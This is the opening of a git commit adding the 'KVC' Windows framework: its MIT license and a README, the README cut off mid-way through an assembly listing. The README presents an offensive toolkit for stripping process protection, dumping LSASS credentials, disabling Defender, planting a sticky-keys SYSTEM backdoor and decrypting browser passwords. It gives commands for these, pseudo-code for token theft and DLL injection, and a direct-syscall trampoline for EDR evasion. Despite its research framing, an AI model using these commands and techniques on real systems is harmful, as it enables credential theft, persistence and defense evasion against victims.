From 736a8eb68540df00eb77c683604780b7b0e1a5ff Mon Sep 17 00:00:00 2001 From: wesmar Date: Wed, 17 Sep 2025 21:46:05 +0200 Subject: [PATCH] Initial commit - KVC Framework v1.0.1 --- LICENSE.md | 220 +++++ README.md | 1037 +++++++++++++++++++++ images/kvc_01.jpg | Bin 0 -> 467912 bytes images/kvc_02.jpg | Bin 0 -> 297161 bytes images/kvc_03.jpg | Bin 0 -> 499976 bytes images/kvc_04.jpg | Bin 0 -> 217912 bytes kvc.sln | 30 + kvc/AbiTramp.asm | 50 + kvc/BrowserOrchestrator.cpp | 1266 ++++++++++++++++++++++++++ kvc/Controller.h | 237 +++++ kvc/ControllerBinaryManager.cpp | 260 ++++++ kvc/ControllerCore.cpp | 188 ++++ kvc/ControllerDriverManager.cpp | 369 ++++++++ kvc/ControllerEventLogOperations.cpp | 82 ++ kvc/ControllerMemoryOperations.cpp | 311 +++++++ kvc/ControllerPasswordManager.cpp | 1016 +++++++++++++++++++++ kvc/ControllerProcessOperations.cpp | 697 ++++++++++++++ kvc/ControllerSystemIntegration.cpp | 142 +++ kvc/HelpSystem.cpp | 494 ++++++++++ kvc/HelpSystem.h | 42 + kvc/ICON/kvc.ico | Bin 0 -> 23686 bytes kvc/KeyboardHook.cpp | 239 +++++ kvc/KeyboardHook.h | 50 + kvc/Kvc.cpp | 750 +++++++++++++++ kvc/Kvc.manifest | 11 + kvc/Kvc.rc | Bin 0 -> 7576 bytes kvc/Kvc.vcxproj | 153 ++++ kvc/Kvc.vcxproj.filters | 97 ++ kvc/Kvc.vcxproj.user | 4 + kvc/KvcDrv.cpp | 169 ++++ kvc/KvcDrv.h | 77 ++ kvc/OffsetFinder.cpp | 244 +++++ kvc/OffsetFinder.h | 56 ++ kvc/ReportExporter.cpp | 474 ++++++++++ kvc/ReportExporter.h | 78 ++ kvc/SelfLoader.cpp | 282 ++++++ kvc/SelfLoader.h | 90 ++ kvc/ServiceManager.cpp | 485 ++++++++++ kvc/ServiceManager.h | 45 + kvc/TrustedInstallerIntegrator.cpp | 1128 +++++++++++++++++++++++ kvc/TrustedInstallerIntegrator.h | 82 ++ kvc/Utils.cpp | 902 ++++++++++++++++++ kvc/Utils.h | 90 ++ kvc/common.cpp | 293 ++++++ kvc/common.h | 213 +++++ kvc/intro.ps1 | 84 ++ kvc/kvc_crypt.cpp | 933 +++++++++++++++++++ kvc/kvc_crypt.def | 2 + kvc/kvc_crypt.rc | 70 ++ kvc/kvc_crypt.user | 4 + kvc/kvc_crypt.vcxproj | 92 ++ kvc/kvc_pass.rc | Bin 0 -> 5446 bytes kvc/kvc_pass.vcxproj | 89 ++ kvc/kvc_pass.vcxproj.user | 4 + kvc/resource.h | 24 + kvc/syscalls.cpp | 257 ++++++ kvc/syscalls.h | 217 +++++ kvc/winsqlite3.def | 13 + kvc/winsqlite3.h | 159 ++++ kvc/winsqlite3.lib | Bin 0 -> 3916 bytes 60 files changed, 14401 insertions(+) create mode 100644 LICENSE.md create mode 100644 README.md create mode 100644 images/kvc_01.jpg create mode 100644 images/kvc_02.jpg create mode 100644 images/kvc_03.jpg create mode 100644 images/kvc_04.jpg create mode 100644 kvc.sln create mode 100644 kvc/AbiTramp.asm create mode 100644 kvc/BrowserOrchestrator.cpp create mode 100644 kvc/Controller.h create mode 100644 kvc/ControllerBinaryManager.cpp create mode 100644 kvc/ControllerCore.cpp create mode 100644 kvc/ControllerDriverManager.cpp create mode 100644 kvc/ControllerEventLogOperations.cpp create mode 100644 kvc/ControllerMemoryOperations.cpp create mode 100644 kvc/ControllerPasswordManager.cpp create mode 100644 kvc/ControllerProcessOperations.cpp create mode 100644 kvc/ControllerSystemIntegration.cpp create mode 100644 kvc/HelpSystem.cpp create mode 100644 kvc/HelpSystem.h create mode 100644 kvc/ICON/kvc.ico create mode 100644 kvc/KeyboardHook.cpp create mode 100644 kvc/KeyboardHook.h create mode 100644 kvc/Kvc.cpp create mode 100644 kvc/Kvc.manifest create mode 100644 kvc/Kvc.rc create mode 100644 kvc/Kvc.vcxproj create mode 100644 kvc/Kvc.vcxproj.filters create mode 100644 kvc/Kvc.vcxproj.user create mode 100644 kvc/KvcDrv.cpp create mode 100644 kvc/KvcDrv.h create mode 100644 kvc/OffsetFinder.cpp create mode 100644 kvc/OffsetFinder.h create mode 100644 kvc/ReportExporter.cpp create mode 100644 kvc/ReportExporter.h create mode 100644 kvc/SelfLoader.cpp create mode 100644 kvc/SelfLoader.h create mode 100644 kvc/ServiceManager.cpp create mode 100644 kvc/ServiceManager.h create mode 100644 kvc/TrustedInstallerIntegrator.cpp create mode 100644 kvc/TrustedInstallerIntegrator.h create mode 100644 kvc/Utils.cpp create mode 100644 kvc/Utils.h create mode 100644 kvc/common.cpp create mode 100644 kvc/common.h create mode 100644 kvc/intro.ps1 create mode 100644 kvc/kvc_crypt.cpp create mode 100644 kvc/kvc_crypt.def create mode 100644 kvc/kvc_crypt.rc create mode 100644 kvc/kvc_crypt.user create mode 100644 kvc/kvc_crypt.vcxproj create mode 100644 kvc/kvc_pass.rc create mode 100644 kvc/kvc_pass.vcxproj create mode 100644 kvc/kvc_pass.vcxproj.user create mode 100644 kvc/resource.h create mode 100644 kvc/syscalls.cpp create mode 100644 kvc/syscalls.h create mode 100644 kvc/winsqlite3.def create mode 100644 kvc/winsqlite3.h create mode 100644 kvc/winsqlite3.lib diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..0b2a6a4 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,220 @@ +# MIT License + +## KVC - Kernel Vulnerability Capabilities Framework + +**Copyright (c) 2025 Marek Wesołowski (WESMAR)** + +--- + +## License Grant + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +## Attribution Requirement + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +## Disclaimer of Warranty + +**THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.** + +--- + +## About This License + +### Why MIT License? + +The MIT License is one of the most permissive and widely-adopted open source licenses, chosen for KVC to: + +- **Maximize adoption** in security research and education +- **Encourage contribution** from the global security community +- **Enable commercial use** without licensing barriers +- **Maintain simplicity** with minimal legal complexity +- **Ensure compatibility** with other open source projects + +### What This Means for Users + +✅ **Commercial Use Permitted** - Use KVC in business environments without fees +✅ **Modification Allowed** - Adapt the code for your specific needs +✅ **Distribution Allowed** - Share KVC with others, modified or unmodified +✅ **Private Use Permitted** - Use internally without disclosure requirements +✅ **Patent Use** - Implicit patent grant from contributors +✅ **Sublicensing Allowed** - Include KVC in larger projects with different licenses + +### What This Requires + +📋 **Include License** - This license text must be included with any distribution +📋 **Include Copyright** - The copyright notice must remain intact +📋 **No Trademark Rights** - Does not grant rights to use author's trademarks + +--- + +## Project Information + +### Repository Details +- **Project Name:** KVC - Kernel Vulnerability Capabilities Framework +- **Version:** 1.0.1 +- **Author:** Marek Wesołowski (WESMAR) +- **Website:** [https://kvc.pl](https://kvc.pl) +- **Contact:** [marek@wesolowski.eu.org](mailto:marek@wesolowski.eu.org) + +### Technical Specifications +- **Platform:** Windows 10/11 (x64) +- **Language:** C++17, Assembly (MASM) +- **Architecture:** Ring-0 kernel operations with user-mode control +- **Purpose:** Windows security research and penetration testing + +--- + +## Responsible Use Guidelines + +### Intended Use Cases + +While this software is freely licensed, users are encouraged to employ it responsibly: + +#### Legitimate Applications +- **Security Research** - Academic and professional security studies +- **Penetration Testing** - Authorized security assessments +- **Educational Training** - Cybersecurity skill development +- **Incident Response** - Forensic analysis and threat hunting +- **System Administration** - Advanced Windows system management +- **Open Source Contribution** - Improving and extending the framework + +#### Legal Compliance +Users must ensure their activities comply with applicable laws and regulations: + +- **Authorization Required** - Only use on systems you own or have explicit permission to test +- **Local Laws** - Comply with computer fraud and abuse laws in your jurisdiction +- **Corporate Policies** - Respect organizational security policies and procedures +- **Data Protection** - Handle any extracted data according to privacy regulations + +### Ethical Considerations + +The open source nature of this license does not diminish the ethical responsibilities of users: + +- **No Malicious Use** - Do not use for unauthorized access or malicious purposes +- **Responsible Disclosure** - Report vulnerabilities through appropriate channels +- **Community Benefit** - Consider contributing improvements back to the project +- **Knowledge Sharing** - Use for advancing security research and education + +--- + +## Contributing to KVC + +### Community Contributions Welcome + +As an open source project, KVC thrives on community contributions: + +#### Ways to Contribute +- **Code Improvements** - Bug fixes, performance enhancements, new features +- **Documentation** - Improved guides, tutorials, and technical documentation +- **Testing** - Compatibility testing across Windows versions and configurations +- **Security Research** - New techniques and methodologies +- **Educational Content** - Training materials and academic resources + +#### Contribution Guidelines +- **Code Quality** - Follow modern C++17 standards and RAII patterns +- **Documentation** - Include comprehensive comments and documentation +- **Testing** - Verify changes across multiple Windows versions +- **Compatibility** - Maintain backward compatibility where possible +- **Attribution** - Contributors will be acknowledged in project documentation + +### Development Resources + +#### Technical Documentation +- **Architecture Overview** - Detailed system design documentation +- **API Reference** - Complete function and class documentation +- **Build Instructions** - Compilation and development setup guides +- **Testing Procedures** - Quality assurance and validation processes + +#### Community Channels +- **Primary Contact** - [marek@wesolowski.eu.org](mailto:marek@wesolowski.eu.org) +- **Project Website** - [https://kvc.pl](https://kvc.pl) +- **Issue Reporting** - Submit bugs and feature requests via established channels + +--- + +## Third-Party Components + +### Dependencies and Libraries + +KVC may incorporate or link with third-party libraries and components: + +- **Windows SDK** - Microsoft Windows development libraries (Microsoft license) +- **Runtime Libraries** - Visual C++ redistributable components (Microsoft license) +- **Standard Libraries** - C++ standard library implementations (Various licenses) + +Users should be aware that while KVC itself is MIT licensed, incorporated components may have different licensing terms. + +### Compliance Verification + +When distributing KVC or derivative works: + +1. **Review Dependencies** - Ensure compatibility of all incorporated components +2. **Include Licenses** - Provide license texts for all third-party components +3. **Attribution** - Properly credit all contributors and component authors +4. **Compliance Check** - Verify overall license compatibility + +--- + +## Version History and Updates + +### Current Version: 1.0.1 +- Initial open source release under MIT License +- Complete framework with kernel driver, user-mode tools, and browser extraction +- Comprehensive documentation and usage examples +- Support for Windows 10/11 x64 platforms + +### Future Development +- **Community-Driven** - Development priorities guided by user needs and contributions +- **Regular Updates** - Ongoing compatibility updates for new Windows versions +- **Feature Expansion** - New capabilities based on security research advances +- **Documentation Improvements** - Enhanced guides and educational materials + +--- + +## Legal Notices + +### Export Control +This software may be subject to export control regulations in various jurisdictions. Users are responsible for compliance with applicable export control laws. + +### Security Disclaimer +KVC operates with elevated system privileges and directly manipulates kernel structures. While designed with safety mechanisms, users should: + +- **Test in Controlled Environments** - Use virtual machines or isolated systems for testing +- **Backup Critical Data** - Ensure system backups before using advanced features +- **Antivirus Exclusions** - Add KVC to security software exclusions to prevent conflicts +- **Administrator Rights** - Only run with appropriate administrative privileges + +### Liability Limitation +As specified in the MIT License terms, this software is provided without warranty. Users assume all risks associated with its use. + +--- + +## Contact and Support + +### Primary Contact +**Marek Wesołowski (WESMAR)** +Email: [marek@wesolowski.eu.org](mailto:marek@wesolowski.eu.org) +Website: [https://kvc.pl](https://kvc.pl) +Phone: +48 607-440-283 + +### Business Information +**WESMAR - Marek Wesołowski** +Address: Raabego 2b/81, 07-973 Warszawa, Poland +Tax ID (NIP): 7991668581 +Statistical Number (REGON): 140406890 + +### Support Expectations +- **Community Support** - Best-effort assistance for open source users +- **Bug Reports** - Timely response to legitimate security and stability issues +- **Feature Requests** - Consideration based on community interest and technical feasibility +- **Commercial Support** - Professional services available upon request + +--- + +**This MIT License ensures KVC remains freely available for the security research community while encouraging innovation, contribution, and responsible use.** + +--- + +*Copyright (c) 2025 Marek Wesołowski (WESMAR). All rights reserved under MIT License terms.* \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..8199d2d --- /dev/null +++ b/README.md @@ -0,0 +1,1037 @@ +# KVC - Kernel Vulnerability Capabilities Framework + +
+ +[![License](https://img.shields.io/badge/license-Educational-blue.svg)](LICENSE) +[![Platform](https://img.shields.io/badge/platform-Windows%2010%2F11-lightgrey.svg)]() +[![Architecture](https://img.shields.io/badge/arch-x64-red.svg)]() +[![Language](https://img.shields.io/badge/language-C%2B%2B%2FASM-orange.svg)]() + +**Advanced Windows Security Research & Penetration Testing Framework** + +*Comprehensive Ring-0 toolkit for process protection manipulation, memory forensics, and advanced credential extraction on modern Windows platforms* + +[🌐 Official Website](https://kvc.pl) • [📧 Contact](mailto:marek@wesolowski.eu.org) • [📱 +48 607-440-283](tel:+48607440283) + +--- + +**Author:** Marek Wesołowski (WESMAR) +**Year:** 2025 +**Domain:** [kvc.pl](https://kvc.pl) + +
+ +## 🚀 Executive Summary + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived as "Kernel Vulnerability Control," the framework has evolved to emphasize not just control, but the complete **exploitation of Windows kernel capabilities** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures that define these protections. + +## 🎯 Core Philosophy + +### The KVC Paradigm: From Control to Capabilities + +The evolution from "Kernel Vulnerability **Control**" to "Kernel Vulnerability **Capabilities**" reflects the framework's true purpose: + +- **Control**: Traditional approaches attempt to control vulnerabilities from the outside +- **Capabilities**: KVC leverages inherent kernel capabilities to transcend security boundaries + +This subtle but crucial distinction positions KVC not as a tool that breaks Windows security, but as one that **utilizes legitimate kernel capabilities** in ways Microsoft never intended, effectively turning Windows' own security mechanisms into research instruments. + +### Architectural Principles + +1. **Atomic Operations**: Minimal kernel footprint with immediate cleanup +2. **Dynamic Adaptation**: Runtime resolution of kernel structures for forward compatibility +3. **Legitimate Escalation**: Using Windows' own privilege escalation mechanisms +4. **Steganographic Deployment**: Hiding kernel components within legitimate executables +5. **Defense Evasion**: Direct syscalls to bypass endpoint monitoring + +## 🏗️ System Architecture + +``` +┌──────────────────────────────────────────────────────────────────────────────┐ +│ KVC Ecosystem Architecture │ +├────────────────────────────────┬─────────────────────────────────────────────┤ +│ Primary Framework │ Browser Credential Extraction Suite │ +│ (kvc.exe) │ (BrowserDecryptor.exe) │ +├────────────────────────────────┼─────────────────────────────────────────────┤ +│ CLI Parser & Router │ Target Management & Injection │ +│ (kvc.cpp, HelpSystem.cpp) │ (BrowserOrchestrator.cpp) │ +├────────────────────────────────┴─────────────────────────────────────────────┤ +│ Controller Core (Controller.h) │ +│ ┌───────────────────────────────────────────────────────────────────────────┐ │ +│ │ Atomic Operation Manager │ │ +│ │ - PerformAtomicInit() / PerformAtomicCleanup() │ │ +│ └───────────────────────────────────────────────────────────────────────────┘ │ +├───────────────────────────────────────────────────────────────────────────────┤ +│ Low-Level System Integrators │ +├──────────────┬──────────────┬───────────────┬─────────────────────────────────┤ +│ kvcDrv │ OffsetFinder │ Trusted │ Injection │ +│(Kernel I/F) │ (Offset Res) │ Installer │ Manager │ +│ [kvcDrv.cpp] │[OffsetF...] │ [TrustedI...] │[BrowserOrch...] │ +├──────────────┴──────────────┴───────────────┴─────────────────────────────────┤ +│ In-Process Security Module (BrowseCrypt.dll) │ +├────────────────────────────────┬─────────────────────────────────────────────┤ +│ Self-Loader (PIC Entrypoint) │ SecurityOrchestrator (Main Logic) │ +├────────────────────────────────┼─────────────────────────────────────────────┤ +│ MasterKeyDecryptor │ DataExtractor (SQLite) │ +│ (COM Elevation Hijacking) │ (AES-GCM Decryption) │ +├────────────────────────────────┴─────────────────────────────────────────────┤ +│ Direct Syscall Engine (syscalls.cpp) │ +├──────────────────────────────────────────────────────────────────────────────┤ +│ ABI Transition Trampoline (AbiTramp.asm) │ +├──────────────────────────────────────────────────────────────────────────────┤ +│ Embedded Kernel Mode Driver (kvc.sys) │ +└──────────────────────────────────────────────────────────────────────────────┘ +``` + +## 🔒 Process Protection Manipulation: The Heart of KVC + +### Understanding Windows Process Protection Evolution + +Windows process protection has evolved through several generations, each addressing new attack vectors: + +#### Historical Context +- **Windows XP/Vista**: Basic process isolation via access tokens +- **Windows 7**: Introduction of Protected Processes (PP) for media DRM +- **Windows 8/8.1**: Protected Process Light (PPL) for broader system services +- **Windows 10/11**: Enhanced PPL with multiple signer types and HVCI integration + +#### The Modern Protection Landscape + +Modern Windows implements a hierarchical protection model enforced at the kernel level: + +```cpp +// EPROCESS._PS_PROTECTION bitfield structure +typedef union _PS_PROTECTION { + UCHAR Level; + struct { + UCHAR Type : 3; // PS_PROTECTED_TYPE (None, PPL, PP) + UCHAR Audit : 1; // Auditing flag + UCHAR Signer : 4; // PS_PROTECTED_SIGNER type + }; +} PS_PROTECTION, *PPS_PROTECTION; +``` + +### KVC's Revolutionary Approach to Protection Manipulation + +#### The Traditional Limitation + +Before KVC, security researchers faced an insurmountable barrier: + +``` +User Process (Administrator) → Kernel Security Reference Monitor → DENIED + ↓ ↓ + "Access Denied" PPL Enforcement +``` + +#### The KVC Solution: Elevation Through Legitimacy + +KVC bypasses this limitation by temporarily elevating its own protection level: + +``` +KVC Process (PPL-Matched) → Kernel Security Reference Monitor → GRANTED + ↓ ↓ + "Access Granted" Equal/Higher Protection Level +``` + +#### Deep Dive: Protection Manipulation Algorithm + +The core protection manipulation algorithm in `Controller::SetProcessProtection` demonstrates KVC's sophisticated approach: + +```cpp +// Pseudo-code representation of KVC's protection manipulation +bool Controller::SetProcessProtection(DWORD pid, PS_PROTECTED_TYPE type, PS_PROTECTED_SIGNER signer) { + // 1. Dynamic kernel structure resolution + ULONG64 eprocessAddr = GetProcessKernelAddress(pid); + ULONG protectionOffset = OffsetFinder::GetProcessProtectionOffset(); + + // 2. Construct new protection byte + UCHAR newProtection = (static_cast(signer) << 4) | static_cast(type); + + // 3. Atomic kernel memory modification + return kvcDrv.Write8(eprocessAddr + protectionOffset, newProtection); +} +``` + +### Protection Types and Their Security Implications + +#### Protection Level Hierarchy (Type Field) + +```cpp +enum class PS_PROTECTED_TYPE : UCHAR { + None = 0, // Standard process - no protection + ProtectedLight = 1, // PPL - Limited protection, common for services + Protected = 2 // PP - Full protection, rare, media-related +}; +``` + +#### Signer Type Authority Levels + +```cpp +enum class PS_PROTECTED_SIGNER : UCHAR { + None = 0, // No signature requirement + Authenticode = 1, // Standard code signing + CodeGen = 2, // .NET code generation + Antimalware = 3, // Anti-malware vendors + Lsa = 4, // Local Security Authority + Windows = 5, // Microsoft Windows components + WinTcb = 6, // Windows Trusted Computing Base + WinSystem = 7, // Windows System components + App = 8 // Windows Store applications +}; +``` + +#### Real-World Protection Matrix + +| Process | Type | Signer | KVC Capability | +|---------|------|--------|----------------| +| lsass.exe | PPL | WinTcb | ✅ Full Memory Access | +| csrss.exe | PPL | Windows | ✅ Process Manipulation | +| winlogon.exe | PPL | Windows | ✅ Token Duplication | +| MsMpEng.exe | PPL | Antimalware | ⚠️ Requires Defender Disable | +| services.exe | PPL | Windows | ✅ Service Management | +| wininit.exe | PPL | Windows | ✅ System Integration | + +### Advanced Protection Scenarios + +#### Scenario 1: LSASS Memory Acquisition + +The LSASS process (Local Security Authority Subsystem Service) presents the most common target for credential extraction: + +```bash +# Traditional approach (FAILS on modern Windows) +procdump.exe -ma lsass.exe lsass.dmp +# Result: Access Denied (0x80070005) + +# KVC approach (SUCCEEDS) +kvc.exe dump lsass C:\forensics\ +# Result: Full memory dump with credentials +``` + +**KVC's Process:** +1. Resolve LSASS EPROCESS address via kernel symbols +2. Read current protection: `PPL-WinTcb` +3. Elevate KVC to matching protection level +4. Open privileged handle with `PROCESS_VM_READ` +5. Create comprehensive memory dump +6. Restore KVC to unprotected state +7. Clean atomic operation artifacts + +#### Scenario 2: Anti-Malware Engine Bypass + +Windows Defender's MsMpEng.exe process uses PPL-Antimalware protection: + +```bash +# Query current protection status +kvc.exe get MsMpEng.exe +# Output: Protected Process Light (PPL) - Antimalware (3) + +# Temporarily remove protection for analysis +kvc.exe unprotect MsMpEng.exe + +# Perform analysis or inject monitoring code +# ... custom analysis ... + +# Restore original protection +kvc.exe protect MsMpEng.exe PPL Antimalware +``` + +#### Scenario 3: System Service Manipulation + +Critical Windows services often require protection removal for advanced research: + +```bash +# List all protected processes +kvc.exe list + +# Bulk protection removal for research environment +kvc.exe unprotect all + +# Perform comprehensive system analysis +# ... research activities ... + +# Selective protection restoration +kvc.exe protect services.exe PPL Windows +kvc.exe protect csrss.exe PPL Windows +``` + +## 🧠 Dynamic Kernel Structure Resolution + +### The Forward Compatibility Challenge + +Windows kernel structures evolve with each update, causing traditional hardcoded offset approaches to fail catastrophically. KVC solves this through **dynamic runtime resolution**. + +#### The OffsetFinder Engine + +```cpp +class OffsetFinder { + // Load kernel image for static analysis + HMODULE ntoskrnl = LoadLibraryW(L"ntoskrnl.exe"); + + // Locate exported function containing structure access + auto PsGetProcessId = GetProcAddress(ntoskrnl, "PsGetProcessId"); + + // Parse machine code to extract offset + // x64: mov rax, [rcx+offset] -> Extract offset from instruction + ULONG offset = ParseMachineCode(PsGetProcessId); +}; +``` + +#### Cross-Validation for Reliability + +KVC employs multiple verification methods for critical offsets: + +```cpp +ULONG FindProcessProtectionOffset() { + // Method 1: PsIsProtectedProcess analysis + ULONG offset1 = ExtractOffsetFromFunction("PsIsProtectedProcess"); + + // Method 2: PsIsProtectedProcessLight analysis + ULONG offset2 = ExtractOffsetFromFunction("PsIsProtectedProcessLight"); + + // Cross-validation ensures accuracy + if (offset1 != offset2) { + throw std::runtime_error("Offset validation failed"); + } + + return offset1; +} +``` + +## 💾 Ring-0 Memory Acquisition: Beyond Traditional Limitations + +### The LSASS Challenge + +LSASS (Local Security Authority Subsystem Service) contains the crown jewels of Windows authentication: + +- **NTLM Hashes**: Password hashes for local and cached domain accounts +- **Kerberos Tickets**: Active Directory authentication tokens +- **DPAPI Master Keys**: Decryption keys for user secrets +- **LSA Secrets**: System-wide sensitive configuration + +### KVC's Memory Acquisition Workflow + +```mermaid +sequenceDiagram + participant User as User Mode (KVC) + participant Kernel as Kernel Mode (kvc.sys) + participant LSASS as LSASS Process + + User->>Kernel: Load driver (atomic init) + User->>Kernel: Resolve LSASS EPROCESS address + User->>Kernel: Read LSASS protection level + Note over User: PPL-WinTcb detected + User->>Kernel: Elevate KVC to PPL-WinTcb + User->>LSASS: Open handle (PROCESS_VM_READ) + Note over User: Access granted due to matching protection + User->>LSASS: Create memory dump + User->>Kernel: Restore KVC protection to None + User->>Kernel: Unload driver (atomic cleanup) +``` + +### Memory Dump Analysis Results + +A typical LSASS dump from KVC reveals: + +``` +LSASS Memory Dump Analysis +├── Process: lsass.exe (PID: 756) +├── Protection: PPL-WinTcb (Bypassed) +├── Memory Regions: 1,247 +├── Total Size: 156.7 MB +├── Credential Artifacts: +│ ├── NTLM Hashes: 23 accounts +│ ├── Kerberos Tickets: 7 TGTs, 15 TGSs +│ ├── DPAPI Master Keys: 12 keys +│ └── LSA Secrets: 8 entries +└── Status: Complete extraction successful +``` + +## 🔐 Advanced Privilege Escalation: The TrustedInstaller Chain + +### Understanding TrustedInstaller Authority + +The `NT SERVICE\TrustedInstaller` account represents the apex of Windows user-mode privilege: + +- **Owns critical system files** and registry keys +- **Bypasses most ACL restrictions** +- **Can modify Windows Defender settings** +- **Has full access to protected registry hives** + +### KVC's TrustedInstaller Acquisition Process + +```cpp +bool TrustedInstallerIntegrator::ElevateToTrustedInstaller() { + // Step 1: Enable necessary privileges + EnablePrivilege(SE_DEBUG_NAME); + EnablePrivilege(SE_IMPERSONATE_NAME); + + // Step 2: Impersonate SYSTEM via winlogon.exe + HANDLE systemToken = GetProcessToken(FindProcess(L"winlogon.exe")); + ImpersonateLoggedOnUser(systemToken); + + // Step 3: Start TrustedInstaller service (requires SYSTEM) + SC_HANDLE scm = OpenSCManager(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + StartService(OpenService(scm, L"TrustedInstaller", SERVICE_ALL_ACCESS)); + + // Step 4: Duplicate TrustedInstaller primary token + HANDLE tiProcess = OpenProcess(PROCESS_QUERY_INFORMATION, + FALSE, + FindProcess(L"TrustedInstaller.exe")); + HANDLE tiToken; + DuplicateTokenEx(GetProcessToken(tiProcess), + MAXIMUM_ALLOWED, + nullptr, + SecurityImpersonation, + TokenPrimary, + &tiToken); + + // Step 5: Create privileged process with TI token + CreateProcessWithTokenW(tiToken, 0, L"cmd.exe", ...); +} +``` + +### TrustedInstaller Use Cases + +#### Windows Defender Bypass + +```bash +# Add comprehensive exclusions with TrustedInstaller privileges +kvc.exe trusted "powershell -Command Add-MpPreference -ExclusionPath C:\Research" +kvc.exe trusted "powershell -Command Add-MpPreference -ExclusionProcess kvc.exe" +kvc.exe trusted "powershell -Command Add-MpPreference -ExclusionExtension .dmp" +``` + +#### System Registry Access + +```bash +# Export protected security hive for DPAPI key extraction +kvc.exe trusted "reg export HKLM\SECURITY\Policy\Secrets C:\extract\secrets.reg" +``` + +#### Persistent Backdoor Installation + +```bash +# Install sticky keys backdoor (5x Shift = SYSTEM cmd) +kvc.exe shift + +# Verify installation +kvc.exe trusted "reg query \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\"" +``` + +## 🌐 Browser Credential Extraction: The Modern Challenge + +### Evolution of Browser Security + +Modern browsers have implemented sophisticated credential protection: + +1. **Encryption**: AES-256-GCM with unique keys +2. **Process Isolation**: Sandboxing and privilege separation +3. **File Locking**: Exclusive database locks during runtime +4. **DPAPI Integration**: Windows-integrated key management + +### KVC's Browser Exploitation Strategy + +KVC overcomes these protections through **COM hijacking** and **process injection**: + +```cpp +// BrowseCrypt.dll injection workflow +bool BrowserOrchestrator::ExtractCredentials(const std::wstring& browserName) { + // 1. Create suspended target process + PROCESS_INFORMATION pi; + CreateProcessW(browserPath.c_str(), + nullptr, nullptr, nullptr, + FALSE, CREATE_SUSPENDED, + nullptr, nullptr, &si, &pi); + + // 2. Inject BrowseCrypt.dll using direct syscalls (EDR evasion) + InjectDLL(pi.hProcess, browseCryptDLL); + + // 3. Resume process with injected payload + ResumeThread(pi.hThread); + + // 4. Payload performs COM elevation hijacking + // Creates browser's own elevation service instance + // Requests master key decryption from legitimate browser component + // Decrypts credential databases with obtained key + + return true; +} +``` + +#### COM Hijacking Technique + +The injected `BrowseCrypt.dll` exploits browsers' own privilege elevation mechanisms: + +```cpp +// Inside target browser process address space +bool MasterKeyDecryptor::HijackElevationService() { + CoInitialize(nullptr); + + // Chrome: IOriginalBaseElevator + // Edge: IEdgeElevatorFinal + // Brave: Similar interface + + IOriginalBaseElevator* elevator; + HRESULT hr = CoCreateInstance(CLSID_GoogleUpdate, + nullptr, + CLSCTX_LOCAL_SERVER, + IID_IOriginalBaseElevator, + (void**)&elevator); + + // Request decryption using browser's own trusted component + BSTR encryptedKey = ReadMasterKeyFromLocalState(); + BSTR decryptedKey; + elevator->DecryptData(encryptedKey, &decryptedKey); + + // Now possess plaintext AES-256 master key + return ProcessCredentialDatabases(decryptedKey); +} +``` + +### Supported Browsers and Extraction Results + +| Browser | Method | Credentials | Cookies | Autofill | +|---------|--------|-------------|---------|----------| +| Chrome | COM Hijacking | ✅ Full | ✅ Full | ✅ Full | +| Edge | COM Hijacking | ✅ Full | ✅ Full | ✅ Full | +| Brave | COM Hijacking | ✅ Full | ✅ Full | ✅ Full | +| Firefox | Direct Extraction | ✅ Partial | ✅ Full | ❌ Limited | + +## 🥷 EDR/AV Evasion: Direct System Calls + +### The User-Mode Hooking Problem + +Modern EDR solutions monitor system activity by hooking critical APIs: + +```assembly +; Traditional API call (MONITORED) +call NtCreateThreadEx ; EDR hook intercepts here +``` + +### KVC's Direct Syscall Solution + +KVC bypasses user-mode hooks entirely by invoking kernel services directly: + +```assembly +; Direct syscall (UNMONITORED) +mov eax, SSN_NtCreateThreadEx ; System Service Number +syscall ; Direct kernel transition +``` + +#### The ABI Transition Challenge + +Windows x64 calling conventions differ between user-mode and syscalls: + +```cpp +// User-mode ABI: RCX, RDX, R8, R9, then stack +// Syscall ABI: R10, RDX, R8, R9, then stack (RCX replaced with R10) +``` + +#### AbiTramp.asm: The Critical Trampoline + +```asm +AbiTramp PROC FRAME + ; Standard prologue + push rbp + mov rbp, rsp + push rbx + push rdi + push rsi + sub rsp, 80h ; Allocate stack space + .ENDPROLOG + + ; Preserve SYSCALL_ENTRY pointer + mov rbx, rcx + + ; Marshal arguments: C++ ABI -> Syscall ABI + mov r10, rdx ; Arg1: RDX -> R10 + mov rdx, r8 ; Arg2: R8 -> RDX + mov r8, r9 ; Arg3: R9 -> R8 + mov r9, [rbp+30h] ; Arg4: Stack -> R9 + + ; Copy additional stack arguments + lea rsi, [rbp+38h] ; Source: caller stack + lea rdi, [rsp+20h] ; Dest: syscall stack area + mov rcx, 8 ; Copy 8 qwords + rep movsq + + ; Load SSN and execute syscall + movzx eax, word ptr [rbx+12] ; Load System Service Number + mov r11, [rbx] ; Load syscall gadget address + call r11 ; Execute: syscall; ret + + ; Standard epilogue + add rsp, 80h + pop rsi + pop rdi + 